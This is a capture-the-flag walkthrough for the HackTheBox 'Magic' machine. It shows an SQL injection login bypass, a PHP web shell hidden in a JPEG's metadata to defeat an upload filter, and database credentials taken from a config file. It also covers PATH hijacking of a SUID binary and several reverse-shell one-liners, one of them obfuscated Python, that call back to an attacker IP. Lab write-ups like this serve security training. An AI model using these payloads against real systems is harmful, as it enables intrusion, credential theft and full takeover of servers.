HackTheBox - Magic | Walkthrough

Enumeration
export $ipaddress=10.10.10.185
ports=$(nmap -p- --min-rate=1000 -T4 $ipaddress | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -A -p$ports $ipaddress -o nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-21 17:54 +0545
Nmap scan report for 10.10.10.185
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 238.67 ms 10.10.14.1
2 238.80 ms 10.10.10.185
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.40 seconds
Okay, fairly simple, only ssh and http are open.
Let's see what it has to offer on port 80.
Now, lets open up firefox and browse to, http://10.10.10.185/
Okay, seems like a portfolio.
Viewing the source, we see that it has a link to login.php. So, its made in php. Let's go to the login page now.
Trying admin/admin we get wrong username or password.
While we are messing with the website, let's run content discovery on it on the background.
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.185/FUZZ -e .php
In the mean time, let's fire up Burp.
Seeing the login page, I have a feeling that this box might be about SQL injection.
Use FoxyProxy to pass the traffic to Burp.
And, try logging in with admin/admin once again.
Now, the request gets intercepted, save it to a file. I saved it as, request.txt in, /root/hackthebox/magic/ you can choose where you want to save it.
Now, let's forward the response.
Let's try running sqlmap on it.
sqlmap -r request.txt -p username,password
It found a redirect to, upload.php. Interesting.
Now, let's also take a look at the result of ffuf. We see, upload.php here as well. Let's have a look at that.
But before we move on, let's take a look at what sqlmap did. We will use proxychains to pass sqlmap's traffic via burp.
This is the configuration that I have in Proxychains
root@kali:~/Desktop# tail /etc/proxychains.conf
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
#burpsuite
http 127.0.0.1 8080
https 127.0.0.1 8080
Now, let's run sqlmap again.
proxychains sqlmap -r request.txt -p username,password
Now, in burp, look at the "HTTP History" tab within "Proxy" tab. Sort it by the status in decreasing order.
You should see that you get a 302. Take the username and try url decoding it.
The username was: admin';WAITFOR DELAY '0:0:5'--
And the password was: admin
We got in via sql injection, it seems.
Try it on the Browser, now you should see that you get to the file upload page.
Nice, we have a place to upload images.
Before we try anything funky, let's try uploading a normal image.
I went to google and searched for a dog, downloaded the image and uploaded it.
Okay, it says our file has been uploaded.
Going back to the portfolio page, we can see that our dog's image has been
uploaded.
Opening up the image, we see that it has been uploaded to, /images/uploads/mydog.png.
Now,
Let's try uploading a simple php reverse shell.
locate php-reverse-shell #to see where the reverse shell is in our machine
cp /usr/share/laudanum/php/php-reverse-shell.php . #copying it to our working directory
vi php-reverse-shell.php
#change the ip and port
Now, let's start a netcat listener.
nc -nvlp 8888
Okay, it says only JPG, JPEG, and PNG file formats are allowed.
Let's rename our file to add png as an extension.
mv php-reverse-shell.php php-rev.php.png
Now, let's restart our listener.
Okay, it says what are you trying to do there? So, that didn't work.
Now, let's try adding php code in a valid image's metadata and see if that works.
exiftool -Comment='<?php system("whoami"); ?>' mydog.jpg
mv mydog.jpg mydog.php.jpg
Uploading this, we don't get any errors.
Now, opening the image, we see that it returns www-data
nice. We have Remote Code Execution! Now, let's try to get a netcat reverse shell.
exiftool -Comment='<?php $sock=fsockopen("10.10.14.168",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' mydog.php.jpg
Now, uploading the mydog.php.jpg file.
Starting a netcat reverse shell.
nc -nvlp 4242
Now, opening the image, we get a reverse shell! Nice.
User
$ pwd
/var/www/Magic/images/uploads
So, we are in the uploads directory.
$ cd ../../
$ ls -al
total 52
drwxr-xr-x 4 www-data www-data 4096 Mar 17 09:10 .
drwxr-xr-x 4 root root 4096 Mar 13 06:07 ..
-rwx---r-x 1 www-data www-data 162 Oct 18 2019 .htaccess
drwxrwxr-x 6 www-data www-data 4096 Jun 6 2019 assets
-rw-r--r-- 1 www-data www-data 881 Oct 16 2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22 00:55 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22 02:02 login.php
-rw-r--r-- 1 www-data www-data 72 Oct 18 2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22 03:18 upload.php
Let's check the db.php5 file, it looks interesting, like a database connection file.
$ cat db.php5
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
Nice, now we have the credentials of another user.
User: theseus
Password: iamkingtheseus
Let's try to switch to that user.
$ su theseus
su: must be run from a terminal
Oh, this is because I forgot to spawn a shell. Let's do that.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Now, let's try to switch to theseus.
su - theseus
Hmm, it says authentication failure.
Let's try to login to the mysql server and check if we can find anything in the databases.
$ mysql -u theseus
Command 'mysql' not found, but can be installed with:
Wow, okay.
Let's try mysqldump.
www-data@ubuntu:/var/www/Magic/images/uploads$ mysqldump Magic -u theseus -p
mysqldump Magic -u theseus -p
Enter password: iamkingtheseus
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database: Magic
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-04-21 11:10:09
Nice, now we have another password, Th3s3usW4sK1ng
.
Now, let's try to switch user to theseus.
su - theseus
Password: Th3s3usW4sK1ng
And, we have a shell! Nice!
cat user.txt
Root
For privesc, I wanted to look at the SUID binaries so, I pull out the PayloadsAllTheThings/Linux - Privelege Escalation cheetsheet.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
Looking at the output, you should see saw:
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
Sysinfo is a SUID binary, meaning that the users can run it with the permissions of the owner. Here, the owner is root. So, this could be our way to takeover the system.
It seems to run a few commands like,
lshw -short
fdisk -l
cat /proc/cpuinfo
free -h
Now, my first thought is, if we can exploit any of these commands, them we can gain root access as they all are called by sysinfo which runs as root. Also, it doesn't give the full path of the script that it is running. That seems interesting.
Looking at the first one, lshw
:
theseus@ubuntu:~$ which lshw
/usr/bin/lshw
theseus@ubuntu:~$ ls -al /usr/bin/lshw
-rwxr-xr-x 1 root root 687056 Jul 10 2018 /usr/bin/lshw
Trying to run it, lshw -short
we don't see anything interesting either.
But, what if there are multiple paths to lshw? Which one will be ran?
Let's try creating a file called lshw and add its location to path and see what it runs.
theseus@ubuntu:~$ echo '#!/bin/bash' > lshw
theseus@ubuntu:~$ echo 'whoami' >> lshw
Let's make this executable and see what happens.
theseus@ubuntu:~$ chmod +x lshw
Now, let's try adding it to the PATH.
theseus@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
theseus@ubuntu:~$ pwd
/home/theseus
theseus@ubuntu:~$ export PATH=/home/theseus:$PATH
Now, let's run sysinfo
and see what happens.
theseus@ubuntu:~$ sysinfo
====================Hardware Info====================
root
Looking at the output, it runs our script.
Nice. Now, let's ask it to run a bash shell. And run sysinfo
again.
theseus@ubuntu:~$ echo "bash" >> lshw
theseus@ubuntu:~$ sysinfo
====================Hardware Info====================
root@ubuntu:~#
We do get a shell but trying to run anything, it doesn't show us output.
Weird.
Let's see if we can ping our machine from this.
Before that, we need to listen for incoming pings in our attacker machine.
To do that:
tcpdump ip proto \\icmp
Now, in the victim machine:
root@ubuntu:~# ping -c2 10.10.14.27
We do see the ping request coming in.
Okay, now, let's ask it to send us a reverse shell. Before that, let's set up our listener.
nc -nvlp 4444
Now, in the victim machine:
nc 10.10.14.27 4444 -e /bin/bash
Shit, we get nc
command not found.
But, we know that it has python3. Let's try that.
python3 -c "import os;import pty;import socket;RIeMfBEnTD='10.10.14.27';znzurECRy=4444;GXIJuhOViQcOZ=socket.socket(socket.AF_INET,socket.SOCK_STREAM);GXIJuhOViQcOZ.connect((RIeMfBEnTD,znzurECRy));os.dup2(GXIJuhOViQcOZ.fileno(),0);os.dup2(GXIJuhOViQcOZ.fileno(),1);os.dup2(GXIJuhOViQcOZ.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');GXIJuhOViQcOZ.close();"
Running that, we get a reverse shell.
Nice.